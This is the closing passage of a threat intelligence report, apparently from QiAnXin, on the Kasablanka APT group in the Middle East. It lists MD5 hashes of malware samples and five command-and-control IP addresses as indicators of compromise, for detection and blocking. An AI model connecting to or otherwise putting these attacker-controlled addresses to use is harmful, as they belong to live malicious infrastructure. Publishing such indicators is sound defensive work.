Currently, a full line of products based on the threat intelligence data from the QiAnXin Threat Intelligence Center, including the QiAnXin Threat Intelligence Platform (TIP), SkyRock, QiAnXin Advanced Threat Detection System, QiAnXin NGSOC, QiAnXin Situational Awareness, etc., already support the accurate detection of such attacks ^[2].



IOCs

MD5

4d75d26590116a011cbebb87855f4b4f 574e031a4747d5e6315b894f983d3001 56d1e9d11a8752e1c06e542e78e9c3e4 db9f2d7b908755094a2a6caa35ff7509 8f52ea222d64bbc4d629ec516d60cbaf c3b3cb77fcec534763aa4d3b697c2f8c 9ea108e031d29ee21b3f81e503eca87d 23d5614fcc7d2c54ed54fb7d5234b079 6be3aecc5704c16bf275e17ca8625f46 e4a678b4aa95607a2eda20a570ffb9e1 11ed3f8c1a8fce3794b650bbdf09c265 8a548f927ab546efd76eeb78b8df7d4c 6d710d1a94445efb0890c8866250958e 6b42e4c5aecd592488c4434b47b15fbb d82743e8f242b6a548a17543c807b7b0 32a0a7fa5893dd8d1038d1d1a9bc277a bd5c665187dfb73fc81163c2c03b2ddf a07c6e759e51f856c96fc3434b6aa9f8 0dcd949983cb49ad360428f464c19a9e 87125803f156d15ed3ce2a18fe9da2b8 4f7e2f5b0f669599e43463b70fb514ad 00b9b126a3ed8609f9c41971155307be **C2** 179.60.150.118

45.61.137.32

89.22.233.149

193.149.129.151

193.149.176.254

Reference Links

[1] https://blog.talosintelligence.com/kasablanka-lodarat/

[2] https://ti.qianxin.com/

KASABLANKA APT THE MIDDLE EAST

分享到: